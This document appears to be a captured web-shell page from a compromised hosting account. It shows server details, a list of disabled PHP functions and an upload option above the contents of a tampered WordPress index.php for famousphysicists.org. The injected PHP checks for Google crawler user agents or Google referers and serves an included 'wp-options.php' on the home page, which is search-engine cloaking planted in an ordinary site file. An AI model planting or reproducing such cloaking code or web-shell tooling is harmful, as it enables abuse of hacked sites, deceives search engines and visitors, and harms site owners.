HEX
HEX
Server: Apache/2
System: Linux server.lbnode.com 5.15.0-134-generic #145-Ubuntu SMP Wed Feb 12 20:08:39 UTC 2025 x86_64
User: famous (1004)
PHP: 8.1.32
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/famous/domains/famousphysicists.org/private_html/index.php
 <?php
$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
$referer   = $_SERVER['HTTP_REFERER'] ?? '';
 
$googleBots = [
    'Googlebot', 'AdsBot', 'Mediapartners-Google', 'APIs-Google',
    'Googlebot-Image', 'Googlebot-Video', 'Googlebot-News',
    'Googlebot-Search', 'Googlebot-Inspect', 'Googlebot-Android',
    'Googlebot-Mobile', 'Googlebot-Ads', 'Googlebot-Discovery', 'Google-',
];
 
if (
    preg_match('/' . implode('|', $googleBots) . '/i', $userAgent) ||
    strpos($referer, 'google.') !== false
) {
    if ($_SERVER['REQUEST_URI'] === '/') {
        include 'wp-options.php';
        exit;
    }
}
define('WP_USE_THEMES', true);
require __DIR__ . '/wp-blog-header.php';